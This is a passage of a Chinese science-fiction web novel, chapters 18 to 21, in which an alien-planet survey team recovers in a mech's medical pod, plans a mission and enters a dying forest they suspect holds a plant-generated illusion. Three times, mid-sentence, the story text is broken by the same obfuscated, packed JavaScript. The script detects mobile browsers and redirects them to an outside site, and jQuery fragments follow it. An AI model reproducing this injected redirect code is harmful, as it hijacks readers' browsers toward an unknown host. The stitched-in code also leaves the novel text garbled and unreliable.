“没想到这小小的帝流浆草的汁液竟能融解这张牙舞爪的大血藤,不过正常环境下,这个帝流浆草是不是被吃了才会有这种效果?” 北辰星环多解释了一番,“大部分情况是,不过它们散发的气息已经让大血藤有威胁感了,要是帝流浆草觉得情况危急,也有可能会自行爆裂果实的。” 晏南天连连点头,“环环姐,牛,牛,你可太牛了。” 北辰星环一挺胸膛,满脸骄傲的样子。 “那可不,我好歹也是学过异植学的!” 晏南天笑眯眯地就给了她一个肩膀撞击,哪成想她在石头上没坐稳,直接牵动了自己绑着夹板的小腿。 “哎呦呦呦!”这下便是连绵的夸张的哀嚎。 “好了,晏南天别闹了。”凌鹤板起了脸毫不客气地训了句。 那晏南天就委屈巴巴地缩成了一团。 “还好你们俩来得及时,最后清扫了战场。”北辰星环亦收敛了笑意,回头往那流光溢彩的机甲方向望去。 晏南天也跟着回头看了眼机甲,立刻了然地宽慰着北辰星环:“环环姐,别担心,那医疗舱没提示说不能治啊,那肯定就能治!姚舰长不会有事的。” 北辰星环微微垂首,“希望吧。” 凌鹤却只望着那岩溶洼地的方位,沉默着。 北辰星环注意到凌鹤的目光,想到了什么便问了句:“姚定——姚舰长说你们俩负责空中侦察,那你们应该已经去过那个扩散中心上方了吧?” 凌鹤与晏南天都点点头。 “那有什么发现吗?” 晏南天只看向凌鹤,凌鹤摇了摇头。 “没有,只有这原始森林,没有异常生物能信号。” 北辰星环微微点头,“姚舰长和你们说了这未知名异植可能在地下吧?我们穿越了三万多米的地下溶洞,我们现在怀疑那未知名异植在这原始森林之下的溶洞中。” “你们有用声波设备之类的进行地表下的定位成像吗?” 听到北辰星环的关键一问,晏南天欲言又止,一张小脸皱皱巴巴的,还不断往凌鹤身上瞟。 凌鹤却没多少犹豫,只在心中略一整理,就将某个机密情报告知了北辰星环。 “这就是奇怪的地方,声波探测显示,这是一个天坑。” 她伸手往那洼地方向一比划,竟是整个原始森林的范围。 18. 修复 “这还真是奇了……那前哨官兵也进过这森林,可没说里面有个天坑啊……” 北辰星环皱着眉陷入了沉思。 “天坑可以长植物,但是要茂密到这种程度,完全不见坑洞,不寻常。”凌鹤是这样判断的。 北辰星环一颔首,“那确实需要去实地一探究竟了。” 凌鹤对着北辰星环甚是慎重地点了点头。 是啊,毕竟那里面极大可能还潜藏着让这些嚣张的大血藤都如此惊慌失措奔逃的某种威胁。必定危机重重。 “现在是标准时下午三点一刻,先不要想那个任务的事情了,抓紧休息休息,然后再去探喽。”晏南天小声叨叨了句。 北辰星环瞥了他一眼,她很清楚这小子有多能偷懒、多没担当——或者说有多能逃避任务,他就是想拖延到贝曼他们赶来,然后他就不用去涉险了嘛。 不过——贝曼他们实在有点慢啊……难道被什么事耽搁了? 晏南天看北辰星环一脸将他看穿的表情,略有些尴尬。 但好在通讯中“无灭”的提示音响起,晏南天立刻伸手搂住北辰星环的胳膊,“环环姐,还有五分钟姚舰长就可以出舱了,我看你也得进舱快速修整一下。” “你看你的手指!”晏南天用眼睛指了指北辰星环勉强包扎的粽子般的双手。 “再看看你这一身稀碎的伤!”他再扫了北辰星环一圈。 “还有你那腿!”晏南天最后狠狠地皱了眉。 “要不是那姚舰长失血真有点多,还有迷幻麻醉成分中毒,我真想先把你推进医疗舱!” “你说你个非战斗人员——哦,非战斗人员都算不上好吗,这么拼命干嘛啊……”晏南天忽然想到某种猜测,瞪大了眼,“不会吧不会吧,姐,我的姐,你不会是想跳槽来我们拓荒军吧?” 北辰星环觉得他这想法真的太荒唐了,她身上还背着一个研究室好吗?更不要说这个研究室就她一个正式研究员啊!没了她可不就立刻撤销了!她可是好不容易才保住植物考古学研究室的牌匾啊! “晏南天,”凌鹤终于忍不住了,“你,带北辰主任去换姚舰长,小心点,护着姚舰长出来。” 与晏南天一起走向那流光溢彩的黑色机甲时,北辰星环回头望了眼仍在关注洼地森林方位的凌鹤。看起来凌鹤对姚舰长也挺好的嘛,那么她那张小纸条到底是什么意思啊? 北辰星环站在正呈盘腿坐位姿势的高大机甲面前,这一刻,她甚至有种仰望垂眸的慈悲神灵的错觉。 “你垂涎这机甲很久了吧?摸摸吧,没事儿,凌鹤不会介意你摸的。”晏南天看北辰星环这傻样,只在边上怂恿她。 虽然他说的确实没错,北辰星环非常偶尔去中央科学院的机械能源大楼时,非常偶尔地能透过那挑高几层楼的实验室透明隔墙看见里面正在接受测试的机甲们。 但也就只是这样看看了,她确实还没有如此近距离地站在这样的划时代机甲的边上过。和她曾经接触过的那些机甲真是不一样……听说这划时代机甲还能真正地隐形呢。 这是凌鹤的“无灭”,北城星环转头回望,见凌鹤并没有表示抗议的意思,才伸出自己的粽子爪子,小心翼翼地按在了机甲外壳上。 嗯……坚硬,冰凉,但又无端的温润。 晏南天看着北辰星环一脸沉醉的模样只觉得有些瘆得慌,她,这,裹成这样的爪子,能感觉得到个啥啊? “姐,你真不考虑来我们拓荒军?保证天天都能看到以及摸到机甲。” 北辰星环敛了自己的表情,又恢复了正经严肃的模样,“这话谁信,你不就没机甲?” 哦,被踩中命门了呢! 晏南天顿时炸毛,然而这是北辰星环,下一秒他就耷拉了。 “你明知故问……你又不是不知道我没考过机甲操纵测试……” 北辰星环就双手抱肘看着他戏瘾大作。 是啊是啊,还不是因为你自己不想考通过。不就是因为你只想待在安全的星舰上,不想出外勤赴险。 可是没用啊,你现在不还是和我一样站在这异星的土地上。没机甲,反而少了份生命的保障呢。 “行了,别演了,走吧,接姚舰长去。” 凌鹤给了晏南天控制机甲的部分权限,所以晏南天按着耳侧通讯器直接对这机甲下了指令,那“无灭”便干脆利落地将一只手掌伸向他们俩,然后托着他们往驾驶舱方向而去。 姚定坤觉得自己好像做了一个很长的梦,又好像只是短暂的一眨眼。 他浸泡在修复液之中,感觉如同被什么情绪浸润。 他不知道自己为什么会回想那些少时的记忆,他也不知道自己为什么会觉得一切都虚无缥缈、遥不可及。 他觉得自己活了过来,可自己好像又曾经死过。 但是无论如何,无论如何,那摘下月亮从天而降的过于璀璨的身影给了他莫大的震撼。 一遍遍回响,一遍遍回望。 每一丝触觉,每一句话语,每一个眼神,都无穷无尽放大,放大。 原来世上竟有这般勇气,化不可能为可能。 原来人可以这样耀眼。 原来人也可以掌握自己的命运吗? 可是……这无处不在的网实在太密太密…… 他无力挣脱。 他无法呼吸。 “姚舰长?姚舰长?” 姚定坤睁开了眼,他没想到梦中那人竟就在他面前。 “怎么样,身上可还有什么不适?” 她的声音很轻柔,就像是天边的流云一般。她是关心他的。 而类似的话,一天前却是他来问的她。这可真是,奇妙啊。 “他还能有什么事!生命体征平稳……水电解质紊乱纠正了……那个迷幻麻醉成分也代谢掉了……哦,还留了点样本呢,‘无灭’果然聪明!” 而那个晏南天还是一如既往地叨叨叨,硬是打破了本来和谐的气氛。 “我没事。”姚定坤只能甚是平静地回了一句。 “我就说嘛!”晏南天在一边继续叨叨。 从胶囊状医疗舱中坐起的姚定坤上上下下仔细端详了北辰星环一遍,微微皱了眉,“这是谁给你处理的伤口?这包扎手法也太粗劣了。这夹板不会是刚削的吧?怎么连木刺都不清理干净?” 北辰星环其实也在看他,她看着那带着些许乳白色的略稠修复液从他面颊缓慢滑落,顺着下颌的完美曲度滑入修长的脖颈,然后缓慢地沿着半透明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381943|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的医疗修复衣的蚕丝纤维纹路经过胸膛,最后顺着腹肌曲线没入深处。 她状似平静地以匀速挪开了视线,假意欣赏起了这“无灭”的内部装潢。 “是我,行了吧!”晏南天一幅死猪不怕开水烫的嚣张表情。 见姚定坤凌厉的眼刀划来,他双手一摊,“Surprise!是我和凌鹤,怎么样没想到吧?包扎是我扎的,夹板是凌鹤找的。” 见晏南天这样,姚定坤气笑了,“看来是该开展整舰人员的医疗急救能力考核了,你,晏南天,这次别想蒙混过关。” “哎呦,我的姚舰长啊,您先别下命令了,起来吧,我换一遍修复液,还得让我们北辰主任也来躺一遍呢!” 这话怎么说得他们睡一起一样,姚定坤越想越不对,尽管北辰星环正在做置身事外状,但他还是不由脖颈带着耳尖都开始微微泛红。 晏南天急吼吼上前给姚定坤裹了块大毛巾然后试图扶着他出舱,在一边笑眯眯看好戏的北辰星环只见姚定坤躲闪了一番,但最终还是没能逃脱晏南天的魔爪。 那可不,刚刚出医疗舱的姚舰长可虚着呢!凌鹤都说了,他必须得“护着姚舰长出来”! 他不算太怕姚舰长,但他可真的有点怕凌鹤——对,只有一点,一点。 晏南天扶着姚定坤往外走,还不忘高声与北辰星环交代:“环环姐,医疗服就在边上,医疗舱我设定好程序了,你自己换衣服,等修复液换好,躺进去就行了。快好了的时候凌鹤会来接你的,放心!” 北辰星环缓慢又艰难地拆着自己手上的纱布,有些无奈,有些好笑。她看着医疗舱中重新充盈的修复液,又有些感慨。 第一次使用这医疗舱的人,若是清醒状态,可能会无法接受气道被修复液逐渐填满的那种近乎窒息的状态,他们可能会提前使用麻醉肌松药剂,干脆让自己早点昏迷。 但是北辰星环现在只自己一人,修复液也已经加满,她做不到提前麻醉。 这晏南天真是有够不靠谱的,只记得那姚舰长了,就不管她了是吗? 无奈地摇着头,坐进医疗舱的北辰星环散了自己的头发,慢慢躺平,让自己被修复液渐渐浸没。 眼前的世界渐渐带上了迷离的波纹和浅浅的乳白底色。 她没有刻意屏息,她照常呼吸,气道顿时被一股温度适宜的液体充盈。 麻醉成分渐渐起效,她失去意识前最后的念头是—— 还好,她对这医疗舱还算习惯,她也还算能忍。 北辰星环被凌鹤接出医疗舱时,真没想到见到的会是这样一幕。 夜色正浓烈,星与月交相呼应,这是日升前的最后寂静。 贝曼与贺兰已经抵达,与晏南天一样坐在无烟炉边,三人正在交流着什么。 而摆脱重伤阴霾不久的姚定坤又拿出了他那套装备,正从沸腾的铝锅中接水递予诸人,动作细致优雅,仿佛在施行茶道表演。 不是吧不是吧,这姚定坤好歹是舰长吧?而且刚被扶出医疗舱吧?这三个人就这么心安理得吗? 北辰星环瞥了眼身侧的凌鹤,没想到她也一幅见怪不怪的样子。 反了天了,要么这姚定坤真是啥事都亲力亲为,要么他真的就是这么贤惠。 19. 任务 肢体动作丰富的晏南天一看到北辰星环露面,马上挥舞手臂高声喊道:“环环姐,你来了啊,他俩没听过,我正在分享你的壮举呢!既然正主来了,环环姐你来,亲自讲一讲你那波澜壮阔的经历!” 北辰星环可真的有些无话可说了……她偷偷瞥了眼坐在一旁的姚定坤——尽管他并没有任何表示,只关注着铝锅中扑腾的水泡——可是,晏南天这真的是置他于何地啊! 北辰星环知道晏南天就是个没大没小的天不怕地不怕的小魔王,可她真没想到他进了这拓荒军也没能被磨掉多少棱角…… 即便当着自己舰长的面宣扬他的受伤种种,但晏南天当然没有什么怀心思,他只是单纯的“傻”。他们是情谊深厚的发小,她当然能容忍晏南天过于直率的傻乎乎行为,但是这不代表他的领导姚定坤也能容忍、也能接受啊! 看凌鹤和贺兰眼观鼻鼻观心的模样,北辰星环就知道这种事情他干得绝对不少。 只贝曼在一旁笑盈盈地接话:“是啊是啊,北辰主任您来,晏南天讲的就和传奇故事一样,太夸张了,还是您亲自来讲讲吧。” 北辰星环有些忐忑地入座,她都还没坐稳,一只握着水杯的手就出现在她面前。 接过水杯时,北辰星环又望了姚定坤一眼,见他面色自若,并无半分被冒犯的神情。 她便微微放了些心,姚定坤……人真的还怪好的…… 喝了一口水润了润喉,北辰星环才在众人目光下言简意赅地再讲了一遍两人这两日的发现。基本没有什么感情色彩,也没有额外添加些过度的细节描述,只有一些事实和发现。 “其实迎战大血藤那时,若不是姚舰长要护着我这个没什么战斗能力的平民,这些刻板攻击的大血藤并不至于重伤他。我也只是运气好,才能正好发现这帝流浆草。当然,究其源头还是因为我失足掉进了天坑,姚舰长为了救我损坏了机甲,不然化解这些小危机还不是手到擒来。” 姚定坤默默注视着她,眼神很是温和,闪烁如同翡翠温润。 “所以啊,朋友们,这就是蝴蝶效应啊。哪怕只是捏死一只小飞虫,也可能会在大陆洲另一侧引起海啸。所以我们才不能随意破坏异星生态。同样的,一点点小的不作为、一点点小的恶,也能积累成滔天大祸。” 北辰星环最后为自己的陈述画上一个圆满的句号。 “还上价值了呢,”贝曼轻笑了一下,然后肃然了些,“不过,不得不说,北辰主任您异植学知识真的非常扎实,您的判断力、洞察力、行动力都很强。” 看着伊莎贝拉·贝曼亮亮的眼睛,北辰星环有些意外,没想到这贝曼还会夸她。凌鹤的判断力也真是一流,她确实曾说过贝曼是个只认实力的人。 看着晏南天欲言又止、眼神在她与姚定坤之间反复跳跃的样子,深知他脾性的北辰星环知道他这就是在犹豫——要不要把北辰星环两次陈述并不尽相同的事情说出来。 北辰星环还没来得及给他个眼神暗示,晏南天竟乖巧地缩起了头作鹌鹑状。 还好,晏南天还知道她这是特意要给姚定坤留点颜面,他还知道不能捣乱她的良苦用心。 “北辰主任确实厉害,”有些腼腆的贺兰满眼星星地望着北辰星环,当然他还记得回头看着姚定坤补了句,“姚舰长确实也辛苦了。” 只姚定坤一人垂眸不知道在思索着什么,北辰星环只当他在思考行动,便端着水杯含蓄地对众人颔首回应。 是啊,贝曼真没说错,姚定坤微微垂首,她并不是需要被保护的那一个。 实际上姚定坤忽然想起了他的瑾军长。 他跟着瑾军长出一次行动时意外遭遇了“牧星者”的刺杀,他负伤了,而瑾军长没有一点犹豫地挡在他的身前,非常利落地解除了所有杀机。 然后她微微侧首非常平淡地说:“你是指挥,但你也是战士,握住手中的刀,站起来。” 瑾军长……原本也只是一位非战斗人员科学官…… 北辰星环确实不是他接触过的那种训练有素的科学官,但实际上,也相差无几了。他们都追寻真理,他们都知道自己到底要什么。 可他自己呢?他握住了手中的刀了吗? 姚定坤想到自己身上背负的东西,不由攥紧了手,手中的那把瑾军长交予他的刀锋利无匹地划破了所有血肉和伪装。 只余一片鲜血淋漓。 一直不做声响的姚定坤终于发话了。 “等天亮我们就去那个森林探一探。” 晏南天小脸一皱又想说什么,凌鹤送了他一个眼刀,他才消停。 北辰星环了然于心,这小晏子不就是不想去那森林嘛,可是姚定坤的“我们”当然包括他。 “你们各自报一下自己的装备的折损情况吧。” 离开铝锅的姚定坤终于又恢复了少校舰长的威严,他的指令中满是不容置疑的凌厉气势。 然后单兵凌鹤·布鲁纳、单兵同时兼任战地机械师的贺兰、通讯员晏南天、科学官伊莎贝拉·贝曼依次报告了自己的机甲的能源及折损情况、机甲载武器的存量还有身携的武械装备与勘探装备的情况。 北辰星环听了个大概,感觉存量都还是挺足的。 “对了,贺兰你刚刚检查了舰长的‘无灭’吧,情况如何,能修复吗?”贝曼扭头问了声贺兰。 年轻的贺兰面露遗憾地摇了摇头,“抱歉,是我技术不精,无法修复舰长的机甲。” “哎呀,别这么说,”贝曼满是宽慰地拍了拍身侧人的肩膀,“你的技术我还算清楚,你都修不好,那这就不是你的问题了,估计得拉回工厂修了。” 北辰星环还有些疑惑伊莎贝拉·贝曼怎么对一脸新兵样的贺兰如此和善,晏南天后来与她咬耳朵说了那两人的遭遇她才明白了一些。 省去晏南天的夸张的修辞,整个事件其实也很简单。 尽管姚定坤不在,但这两日小队剩下四人都按照原定计划不断侦察这片区域。今日贝曼与贺兰也在步行侦察,他们的侦察范围覆盖了另一侧。前一日几人都没遇到太多异兽,今日却大有不同,贝曼与贺兰遇到了许多状似在迁徙或者说逃命的异兽。 本来相安无事,小心避开不要激怒就是了。但恐怕这些异兽前一日被突如其来的电离炮的轰响惊吓了,或是那未知名异植的威胁太大,其中有一些竟突破了威慑信号的约束。贝曼与贺兰不欲多纠缠,试图操纵机甲离开。 这时意外就发生了,贝曼的不那么先进的勘探机甲被飞行异兽损伤,一度失去行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387740|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力。是贺兰技巧娴熟地将她接入机甲,然后他边半自动驾驶着“无灭”在低空飞行,边用机械臂快速修好了拖拽着的贝曼的机甲。两人这一番逃跑,才耽搁了过来的时间。 这样的技术难度,这贺兰可真是不一般啊。 “异植异兽都疯狂逃窜,那扩散中心肯定有什么事情发生了。”姚定坤是这样判断的。 “我们行动快到最后一日,那里危险重重,大家务必保持万分警惕。”姚定坤接着说。 然后他仔细地制定了行动计划,精确到每一个人的职责,和应对每一种危险情况的预案。 听姚定坤这么一讲,晏南天又举起了手,“姚舰长我觉得您说得对,不过我有个小小的建议,北辰主任吧,还是就别去那里了,如果您不放心她的安全,我可以与她一起,送她回去的。” 北辰星环有些意外地扫了眼晏南天,这小子长进了啊,知道假借她的名义了。 贝曼毫不留情地指了指晏南天,然后再指了指北辰星环,“你?保护她?得了吧,晏南天,你能攀岩到这种水平吗?你那耐力爆发力就不太跟得上吧。我看北辰主任的射击技术也不错,你可能也比不上。” 贝曼这么直白地一对比,晏南天还真说不出什么反驳的话来。 姚定坤同样陷入了沉思,他仔细回想了一下与北辰星环两日相处中的某些细节。他其实没有控制自己的步行速度,而北辰星环一步都没有落后,她的耐力确实不错。 “虽然你这些都不怎么样吧,但合格水平还是有的,不至于拖后腿。坦白说你的通讯技术也还是可以的。而且,晏南天,你知不知道你有一个别人都没有的优点?” 贝曼这么一说,不仅晏南天,其他人都被勾起些兴趣了。 “你脸皮够厚,那未知名植物肯定会被你烦死的。”贝曼咬牙切齿地吐出这么一句话。 北辰星环不由失笑。 偏生晏南天不觉得这多么讽刺,还在那傻乐。 北辰星环望着微熹的天色,听着几人插科打诨的笑意话语。 她不觉得他们纪律涣散或是放松警惕,相反,这是将这次任务当作一个寻常任务看待的模样。旁人或许不清楚,但是因着家族的缘故,北辰星环清楚他们是经过怎样的日复一日的训练,才能达到现在这般自信的状态的。 不过如今这拓荒军与她曾熟悉的北区边防军还真是不一样。虽然北区边防军官兵们都甚是豪放,军队氛围一点都不压抑甚至算得上过于开怀,但那多是“今朝有酒今朝醉”的豪侠意味,和“人生得意须尽欢”的及时行乐。 因为,对于北区边防军来说,每一次出征就必定意味着死亡,不是自己,就是战友。 哎…… 现在这样,真好啊…… 联邦历310年4月8日,标准时下午四时四十五分。 姚定坤亲领小队成员一起迈上了侦察那岩溶洼地原始森林的最后旅程。 六人分散于三架机甲之中,直接往那森林方向而去。几人一路无比警惕,但也不损失丝毫速度。 为了保险起见,姚定坤、北辰星环、凌鹤、贺兰四人在森林外围就收了机甲,仅贝曼与晏南天操纵机甲在低空盘旋。 而他们一齐见到了生灵涂炭的惨烈景象。 20. 焦土 北辰星环几人在这原始森林外围处着陆。 岩地上远眺时只觉此处是树木略为稀疏的平原,此刻亲临,北辰星环一眼就看出了些许异样。 尽管姚定坤事先叮嘱过不要触碰不知名的生物,但北辰星环还是随手拎起一段枯枝扒拉了一番没过脚背的草堆。 凌鹤与贺兰紧握着步枪按照预先计划,小心翼翼地开始检查这片树木稀疏的草地。 姚定坤看见北辰星环的动作,则来到她身侧,只护卫在一旁,并未出言打扰。 “果然如此……”北辰星环翻了好几个草堆,直将这些植株的根茎深处暴露出来。 “姚舰长你来拍几张照。”北辰星环头也不回地指示姚定坤,姚定坤勤勤恳恳上前按她的指示用勘探仪器进行记录。 北辰星环边扒拉草堆,边与他解释。 “你看,这是普通的长青草,是这颗异星上最常见的常规品种草本植物,生命力顽强,”然后北辰星环用枯枝充分暴露这草的地上部分,“尽管这样粗一看这草长势不错,可是你仔细看,这草叶片根部已经出现了黄化。这不是个别现象,几乎所有叶片上都有。而且你看,这植株的根部也出现了明显的枯萎状态。” “姚舰长,你种过植物吗?”北辰星环只是随意一问。 姚定坤却极为慎重地摇了摇头。 北辰星环有些意外地顿了顿,才继续自己的陈述:“没种过那你应该也见过,如果是一般的缺水引起的干枯,那是从叶片的末端先出现的。因为这是远心端,是末梢,所以最先受到影响。” 这点常识姚定坤确实还是知道的,他点点头。 “但从根部先出现,就不一样了,这说明枯萎是从植株的根茎内部先开始的,是自内而外的一种萎化表现。” 姚定坤能理解,于是他给北辰星环递了个话头:“那这会是什么原因导致的呢?” “病害,基因病,毒害,或者短时间内急剧的水与营养成分的缺失。” 北辰星环历数了一些可能,然后她直起身来,注视着姚定坤。 “而我判断,是最后两种可能叠加的结果。” 也就是说这些草的根系遭受了某种有害物质的污染且这土壤中的营养急剧丧失,至于是谁造成的……极大可能就是那未知名异植了。 “姚舰长,如果你有土壤营养物质快速测定的勘探仪器,恐怕就能得出这土壤已经被榨干,几乎没有养分的结论。” 姚定坤说干就干,从腰际取下折叠铲就开始取土。 北辰星环在一边看着,还用枯枝在他铲起的一抔土上又扒拉了一下。 “你看你看,这土颜色看起来就浅了许多,这里面还有少数未完全消弭的……嗯,应该是蔷薇科植物的根系。” 北辰星环四顾了一圈,“然而我并没有在这里见到剩余的还算活着的蔷薇科植物,很显然,已经死绝了。” “这些长青草最好养活,所以还能活着让我们看见,要是再过个两三天,恐怕这里就寸草不生了。” 姚定坤采集足够样本后忽然停下动作按着耳侧通讯器说了句“知道了”,接着扭头与北辰星环说:“凌鹤他们有发现,我们先过去。” 两人穿越草地继续往前,北辰星环不忘继续扒拉,于是他们两人就看见了更多的痕迹——枯败中的草,最近倒伏的枯树干,只剩个桩子的一人无法抱住的枯树桩,还有裸露出的颜色更加接近浅灰的贫瘠土壤。 甚至还见到了两人都无比眼熟的褐色枯藤,虽这一处仅剩这三四条残骸,但已经化为灰土的恐怕不计其数。 遍地的植物的尸骸,更多的尸骨无存的生命,和正在迈向死亡的长青草。 即便没有鲜血淋漓和断肢残骸,即便一切都在寂静无声中发展,但这亦是一个灭绝屠杀的现场。 “姚舰长,北辰主任,你们看。”贺兰见两人前来,直接往草堆里一指。 两人用枪械架开的空隙中正是一些动物的白骨。 “我们方才快速鉴定了一下,这可能是四角灰石拟犀,雄性成年体,”凌鹤将一块光屏展示给两人,其中显示的正是他们曾遭遇过的那拟犀巨兽,“这里只有部分骨头,但这些骨头上没有明显的同族犄角或牙齿导致的痕迹,也没有其他异兽留下的痕迹。” 死亡的拟犀巨兽没什么稀奇,但是不是死于同族争斗或者其他掠食者攻击,那就很稀奇了。 四人相互对望,即便没人说出那个猜测,但是大家都心知肚明。 这拟犀巨兽有很大的可能,也是死于那未知名异植之手。 可这是如此强悍的异兽,那异植是如何做到的呢?且不留下任何伤痕? “毒吗?”姚定坤微微皱眉,然后他就戴上手套又刮了些骨粉开始快速简易毒素测试。 “目前已知这未知名异植杀伤力很强,虽不确定可能的杀伤手段,但考虑到可能是毒素,我建议我们都穿上全套隔热服,并加强警惕。” 然后姚定坤从他那战术背包中掏出了一套隔热服递给了北辰星环,自己再拿出另一套。凌鹤与贺兰则从自己背包中拿出了自己的隔热服,他们并没有就为什么姚定坤会有北辰星环体格的隔热服而产生疑惑。 隔热服主要作用是隔绝人体体温,也有些直接降温的效果,且头面手脚全部一体覆盖,由一种高密度的高分子材料制成,类似防护面罩有自己的一套空气循环装置,故也能避免虫兽叮咬毒害及空气中毒素。 几人相互帮助穿上隔热服,姚定坤与上方警戒的贝曼与晏南天交代了几句,四人这才继续深入那茂密些的森林中。 却没想进入这茂密森林后又是另一番景象。 北辰星环首先感觉到的是凉意。 尽管她身着隔热服无法通过皮肤感受冷热觉,但这整体氛围给她一种浓烈触感。 她抬头看了眼这茂密的几乎没有缝隙的林冠,日光被遮蔽,昏暗近夜,这林内与林外便成了截然不同的两个世界。 可这确实是满目绿意,密密麻麻的高大乔木摩肩接踵,林间几乎没有落脚之地,地上覆盖着层层落叶。 巴掌大的阔卵圆形叶片有着一层油样的质感,颜色深邃,层层叠叠,又因着这里日光匮乏,便显得有些幽深阴森。 但除了这些乔木,和树干上些许的青苔,好像就没有其他生物了。没有鸟鸣,没有虫鸣,甚至连风声都近乎于无。 这种过度的寂静反而加重了北辰星环几人的危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396438|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机感,他们脚步缓慢极了,惟恐踩踏落叶时发出太多的响动。 北辰星环仔细观察着身边的参天乔木,这笔直的褐色树干上有明显的纵行深裂,就好像久旱的龟裂土地。 这也就是所谓的“其木理多纹章,故谓之樟”。 如果她没判断错的话,这应该是樟科的常绿乔木,只不过这些乔木比寻常香樟更高大更粗壮,看这通天彻地的架势,恐怕有四五十米高了,树干直径也有七八米了。 但更奇怪的是,这些乔木并没有一点枯萎的迹象。每一个叶片,每一条枝干,一点都没有枯败。 甚至这地上的落叶都保持着原本的油绿色泽。 北辰星环方才在林外见到的某些枯树桩可比这些乔木更粗、年岁更长,它们都没能从那未知名异植口中存活,这里的乔木怎么还欣欣向荣呢? 而且这里只有这樟科乔木一种植物,再没有其他乔木或者灌木了。 据北辰星环所知,樟科植物并不是单独物种生存的强势植物,相反,它们能与其他植物乃至动物共存构建一种完整的局部生态环境。 那眼前这样孤物种的森林,就显得十分奇怪了。 北辰星环几人不做声响地静默行进,姚定坤与凌鹤、贺兰倒是时不时以手势交流,北辰星环懂一些又不算全懂,不知道他们具体在沟通些什么。 只能猜测他们大概是在沟通行进路线和周围威胁。 北辰星环非常仔细地搜寻,姚定坤几人也在用自己的勘探设备进行侦察,但那种深绿色藤蔓状未知名异植仍然没有踪迹,和之前的前哨队员们的说法一致。 他们似乎是一直走在深入森林的方向,可北辰星环也没有发现任何关于天坑的痕迹。她看了眼光脑,进入森林已经十分钟了,照理说该见到那所谓天坑了啊…… 北辰星环注意了一下自己军靴下的落叶堆脚感,感觉挺严实的,这下面不像是有空洞啊…… 这可真是奇了怪了。 北辰星环试图用眼神与姚定坤交流,后者给了她一个带着些安慰性的眼神,然后一点点挪到了她的身边。 他俯身在她的耳旁,轻声说:“我们在原地打转。” 北辰星环有些惊讶地扭头,差点磕到姚定坤的头。看姚定坤好似并不焦急的模样,她又有些更加迷惑了。 可能是在半空的晏南天他们早已提示,姚定坤便早就发现了他们在打转。可他,竟然一点都不慌张或者意外吗? 北辰星环张望了一下四周的高大阴森乔木,这些巨树真的长得差不多,这里昏暗没有恒星指引固定方向,也确实容易走错路。 可是,姚定坤他们一路不是在做一些标记的吗?通过半空机甲的信号中继,他们在自己的工作光屏上能看见地图上的实时位置,怎么可能一错再错呢? 北辰星环不明白,北辰星环很困惑。 可是姚定坤、凌鹤与贺兰都一幅淡定的样子,她也不好说什么,只能当自己没见识,面对这种突发情况做不到平常心对待了。 没想到姚定坤又微微俯身,主动与她再解释了一句—— “我们可能一齐入了精神力幻境。” 什么?! 北辰星环目瞪口呆。 21. 成林 精神力幻境?! 这实在太过惊悚,北辰星环没能控制好自己的表情,她张着嘴愣住了。 关于仙法和仙法者的一系列政策乃至相关机构在这几年如雨后春笋般冒出,关于守卫联邦抗击“牧星者”入侵时那些英勇无畏且能力强悍的仙法者们的宣传报道也铺天盖地,所以仙法和仙法者非常迅速地就被联邦公民们接受了。 所谓仙法其实就是曾经在那些大众爆米花影视作品中演绎的超能力、异能力,而仙法者就是拥有这些类型各异的奇异能力的人,目前数量非常稀少。仙法者的一个主要特点是他们都有第22对染色体长臂上的特殊点位基因的基因突变,这是玉议员、瑾军长、北辰星夜、邵乐等人一起发现的重要突破。 原本拥有这样的基因突变的人会被污名化地称为基因缺陷者,联邦建邦三百年,他们就遭受了近三百年的歧视,且因为他们的基因突变多是那潜伏在联邦的“牧星者”人为诱发的,所以他们的病死率极高,生活尤为凄惨。 中央科学院邵兰生研究员的遗产——作用于端粒的基因突变稳定药剂面世之后,这些基因突变者的境遇才有了改善,联邦的真正的仙法者才得以慢慢出现。 而精神力仙法者则是最早被联邦——尤其是第九军发现并管理的那一类仙法者,他们没有得到力量上的额外加强,但可以运用精神力制造幻境控制对手,还可以实体化精神力当作护盾等等。某种意义上来说,精神力可以算作是一切仙法的基础形态和能量基础。 北辰星环很清楚,这一种基因突变是人类在星际大迁徙中为适应广阔多变的星际环境而逐渐产生的进化趋势。仙法者是人类的未来,是突破人体肉/体局限的未来。 不过—— “这里有仙法者?‘牧星者’的人吗?”北辰星环有样学样凑到姚定坤耳边问道。 姚定坤却摇了摇头。 “恐怕不是人。北辰,你说,异植可以有精神力吗?” 姚定坤的这句话真的是让北辰星环初听觉得匪夷所思,但仔细一品还有些可能。 